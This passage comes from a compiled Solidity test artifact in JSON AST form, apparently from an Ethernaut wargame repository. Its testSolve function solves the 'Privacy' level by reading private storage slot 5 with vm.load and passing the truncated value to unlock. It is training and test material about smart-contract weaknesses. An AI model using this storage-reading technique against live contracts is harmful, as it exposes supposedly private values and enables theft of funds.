Ethernaut"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":63282,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63236,"src":"948:5:142","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":63281,"name":"getEthernautWithStatsProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66624,"src":"921:26:142","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_contract$_Ethernaut_$49101_$","typeString":"function (address) returns (contract Ethernaut)"}},"id":63283,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"921:33:142","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"src":"909:45:142","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":63285,"nodeType":"ExpressionStatement","src":"909:45:142"},{"assignments":[63288],"declarations":[{"constant":false,"id":63288,"mutability":"mutable","name":"factory","nameLocation":"979:7:142","nodeType":"VariableDeclaration","scope":63339,"src":"964:22:142","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_PrivacyFactory_$54287","typeString":"contract PrivacyFactory"},"typeName":{"id":63287,"nodeType":"UserDefinedTypeName","pathNode":{"id":63286,"name":"PrivacyFactory","nameLocations":["964:14:142"],"nodeType":"IdentifierPath","referencedDeclaration":54287,"src":"964:14:142"},"referencedDeclaration":54287,"src":"964:14:142","typeDescriptions":{"typeIdentifier":"t_contract$_PrivacyFactory_$54287","typeString":"contract PrivacyFactory"}},"visibility":"internal"}],"id":63293,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":63291,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"989:18:142","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_PrivacyFactory_$54287_$","typeString":"function () returns (contract PrivacyFactory)"},"typeName":{"id":63290,"nodeType":"UserDefinedTypeName","pathNode":{"id":63289,"name":"PrivacyFactory","nameLocations":["993:14:142"],"nodeType":"IdentifierPath","referencedDeclaration":54287,"src":"993:14:142"},"referencedDeclaration":54287,"src":"993:14:142","typeDescriptions":{"typeIdentifier":"t_contract$_PrivacyFactory_$54287","typeString":"contract PrivacyFactory"}}},"id":63292,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"989:20:142","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_PrivacyFactory_$54287","typeString":"contract PrivacyFactory"}},"nodeType":"VariableDeclarationStatement","src":"964:45:142"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":63300,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63288,"src":"1057:7:142","typeDescriptions":{"typeIdentifier":"t_contract$_PrivacyFactory_$54287","typeString":"contract PrivacyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_PrivacyFactory_$54287","typeString":"contract PrivacyFactory"}],"id":63299,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1049:7:142","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":63298,"name":"address","nodeType":"ElementaryTypeName","src":"1049:7:142","typeDescriptions":{}}},"id":63301,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1049:16:142","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":63297,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1043:5:142","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":63302,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1043:23:142","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"expression":{"id":63294,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63231,"src":"1019:9:142","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":63296,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1029:13:142","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"1019:23:142","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":63303,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1019:48:142","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63304,"nodeType":"ExpressionStatement","src":"1019:48:142"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":63305,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1077:2:142","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":63307,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1080:9:142","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1077:12:142","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":63308,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1077:14:142","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63309,"nodeType":"ExpressionStatement","src":"1077:14:142"},{"expression":{"arguments":[{"id":63313,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63238,"src":"1116:6:142","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":63310,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1102:2:142","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":63312,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1105:10:142","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1102:13:142","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":63314,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1102:21:142","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63315,"nodeType":"ExpressionStatement","src":"1102:21:142"},{"expression":{"id":63332,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":63316,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63234,"src":"1133:8:142","typeDescriptions":{"typeIdentifier":"t_contract$_Privacy_$54187","typeString":"contract Privacy"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"arguments":[{"id":63321,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63231,"src":"1180:9:142","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"arguments":[{"id":63325,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63288,"src":"1205:7:142","typeDescriptions":{"typeIdentifier":"t_contract$_PrivacyFactory_$54287","typeString":"contract PrivacyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_PrivacyFactory_$54287","typeString":"contract PrivacyFactory"}],"id":63324,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1197:7:142","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":63323,"name":"address","nodeType":"ElementaryTypeName","src":"1197:7:142","typeDescriptions":{}}},"id":63326,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1197:16:142","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":63322,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1191:5:142","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":63327,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1191:23:142","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},{"hexValue":"30","id":63328,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1216:1:142","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":63320,"name":"createLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66525,"src":"1160:19:142","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_contract$_Level_$55508_$_t_uint256_$returns$_t_address_$","typeString":"function (contract Ethernaut,contract Level,uint256) returns (address)"}},"id":63329,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1160:58:142","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":63319,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1152:8:142","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":63318,"name":"address","nodeType":"ElementaryTypeName","src":"1152:8:142","stateMutability":"payable","typeDescriptions":{}}},"id":63330,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1152:67:142","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":63317,"name":"Privacy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54187,"src":"1144:7:142","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Privacy_$54187_$","typeString":"type(contract Privacy)"}},"id":63331,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1144:76:142","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Privacy_$54187","typeString":"contract Privacy"}},"src":"1133:87:142","typeDescriptions":{"typeIdentifier":"t_contract$_Privacy_$54187","typeString":"contract Privacy"}},"id":63333,"nodeType":"ExpressionStatement","src":"1133:87:142"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":63334,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1230:2:142","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":63336,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1233:9:142","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1230:12:142","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":63337,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1230:14:142","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63338,"nodeType":"ExpressionStatement","src":"1230:14:142"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"671:5:142","parameters":{"id":63239,"nodeType":"ParameterList","parameters":[],"src":"676:2:142"},"returnParameters":{"id":63240,"nodeType":"ParameterList","parameters":[],"src":"686:0:142"},"scope":63409,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":63361,"nodeType":"FunctionDefinition","src":"1503:137:142","nodes":[],"body":{"id":63360,"nodeType":"Block","src":"1530:110:142","nodes":[],"statements":[{"expression":{"arguments":[{"id":63347,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63238,"src":"1554:6:142","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":63344,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1540:2:142","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":63346,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1543:10:142","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1540:13:142","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":63348,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1540:21:142","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63349,"nodeType":"ExpressionStatement","src":"1540:21:142"},{"expression":{"arguments":[{"arguments":[{"id":63352,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63231,"src":"1603:9:142","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":63355,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63234,"src":"1622:8:142","typeDescriptions":{"typeIdentifier":"t_contract$_Privacy_$54187","typeString":"contract Privacy"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Privacy_$54187","typeString":"contract Privacy"}],"id":63354,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1614:7:142","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":63353,"name":"address","nodeType":"ElementaryTypeName","src":"1614:7:142","typeDescriptions":{}}},"id":63356,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1614:17:142","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":63351,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1583:19:142","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":63357,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1583:49:142","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":63350,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"1571:11:142","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":63358,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1571:62:142","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63359,"nodeType":"ExpressionStatement","src":"1571:62:142"}]},"documentation":{"id":63341,"nodeType":"StructuredDocumentation","src":"1435:63:142","text":"@notice Check the intial state of the level and enviroment."},"functionSelector":"b5d11e99","implemented":true,"kind":"function","modifiers":[],"name":"testInit","nameLocation":"1512:8:142","parameters":{"id":63342,"nodeType":"ParameterList","parameters":[],"src":"1520:2:142"},"returnParameters":{"id":63343,"nodeType":"ParameterList","parameters":[],"src":"1530:0:142"},"scope":63409,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":63408,"nodeType":"FunctionDefinition","src":"1695:251:142","nodes":[],"body":{"id":63407,"nodeType":"Block","src":"1723:223:142","nodes":[],"statements":[{"expression":{"arguments":[{"id":63368,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63238,"src":"1747:6:142","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":63365,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1733:2:142","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":63367,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1736:10:142","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1733:13:142","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":63369,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1733:21:142","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63370,"nodeType":"ExpressionStatement","src":"1733:21:142"},{"assignments":[63372],"declarations":[{"constant":false,"id":63372,"mutability":"mutable","name":"data","nameLocation":"1773:4:142","nodeType":"VariableDeclaration","scope":63407,"src":"1765:12:142","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":63371,"name":"bytes32","nodeType":"ElementaryTypeName","src":"1765:7:142","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":63387,"initialValue":{"arguments":[{"arguments":[{"id":63377,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63234,"src":"1796:8:142","typeDescriptions":{"typeIdentifier":"t_contract$_Privacy_$54187","typeString":"contract Privacy"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Privacy_$54187","typeString":"contract Privacy"}],"id":63376,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1788:7:142","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":63375,"name":"address","nodeType":"ElementaryTypeName","src":"1788:7:142","typeDescriptions":{}}},"id":63378,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1788:17:142","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"arguments":[{"hexValue":"35","id":63383,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1823:1:142","typeDescriptions":{"typeIdentifier":"t_rational_5_by_1","typeString":"int_const 5"},"value":"5"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_5_by_1","typeString":"int_const 5"}],"id":63382,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1815:7:142","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":63381,"name":"uint256","nodeType":"ElementaryTypeName","src":"1815:7:142","typeDescriptions":{}}},"id":63384,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1815:10:142","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":63380,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1807:7:142","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":63379,"name":"bytes32","nodeType":"ElementaryTypeName","src":"1807:7:142","typeDescriptions":{}}},"id":63385,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1807:19:142","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":63373,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1780:2:142","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":63374,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1783:4:142","memberName":"load","nodeType":"MemberAccess","referencedDeclaration":12605,"src":"1780:7:142","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$_t_bytes32_$returns$_t_bytes32_$","typeString":"function (address,bytes32) view external returns (bytes32)"}},"id":63386,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1780:47:142","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"VariableDeclarationStatement","src":"1765:62:142"},{"expression":{"arguments":[{"arguments":[{"id":63393,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63372,"src":"1861:4:142","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":63392,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1853:7:142","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes16_$","typeString":"type(bytes16)"},"typeName":{"id":63391,"name":"bytes16","nodeType":"ElementaryTypeName","src":"1853:7:142","typeDescriptions":{}}},"id":63394,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1853:13:142","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes16","typeString":"bytes16"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes16","typeString":"bytes16"}],"expression":{"id":63388,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63234,"src":"1837:8:142","typeDescriptions":{"typeIdentifier":"t_contract$_Privacy_$54187","typeString":"contract Privacy"}},"id":63390,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1846:6:142","memberName":"unlock","nodeType":"MemberAccess","referencedDeclaration":54186,"src":"1837:15:142","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_bytes16_$returns$__$","typeString":"function (bytes16) external"}},"id":63395,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1837:30:142","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63396,"nodeType":"ExpressionStatement","src":"1837:30:142"},{"expression":{"arguments":[{"arguments":[{"id":63399,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63231,"src":"1909:9:142","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":63402,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63234,"src":"1928:8:142","typeDescriptions":{"typeIdentifier":"t_contract$_Privacy_$54187","typeString":"contract Privacy"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Privacy_$54187","typeString":"contract Privacy"}],"id":63401,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1920:7:142","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":63400,"name":"address","nodeType":"ElementaryTypeName","src":"1920:7:142","typeDescriptions":{}}},"id":63403,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1920:17:142","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":63398,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1889:19:142","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":63404,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1889:49:142","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":63397,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"1878:10:142","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":63405,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1878:61:142","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63406,"nodeType":"ExpressionStatement","src":"1878:61:142"}]},"documentation":{"id":63362,"nodeType":"StructuredDocumentation","src":"1646:44:142","text":"@notice Test the solution for the level."},"functionSelector":"832e5fc2","implemented":true,"kind":"function","modifiers":[],"name":"testSolve","nameLocation":"1704:9:142","parameters":{"id":63363,"nodeType":"ParameterList","parameters":[],"src":"1713:2:142"},"returnParameters":{"id":63364,"nodeType":"ParameterList","parameters":[],"src":"1723:0:142"},"scope":63409,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":63225,"name":"Test","nameLocations":["360:4:142"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"360:4:142"},"id":63226,"nodeType":"InheritanceSpecifier","src":"360:4:142"},{"baseName":{"id":63227,"name":"Utils","nameLocations":["366:5:142"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"366:5:142"},"id":63228,"nodeType":"InheritanceSpecifier","src":"366:5:142"}],"canonicalName":"TestPrivacy","contractDependencies":[49101,54287,56450,58028],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[63409,66673,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestPrivacy","nameLocation":"345:11:142","scope":63410,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":142} \ No newline at end of file diff --git a/contracts/out/PrivacyFactory.sol/PrivacyFactory.json b/contracts/out/PrivacyFactory.sol/PrivacyFactory.json new file mode 100644 index 000000000..6e1cb82d9 --- /dev/null +++ b/contracts/out/PrivacyFactory.sol/PrivacyFactory.json @@ -0,0 +1 @@ 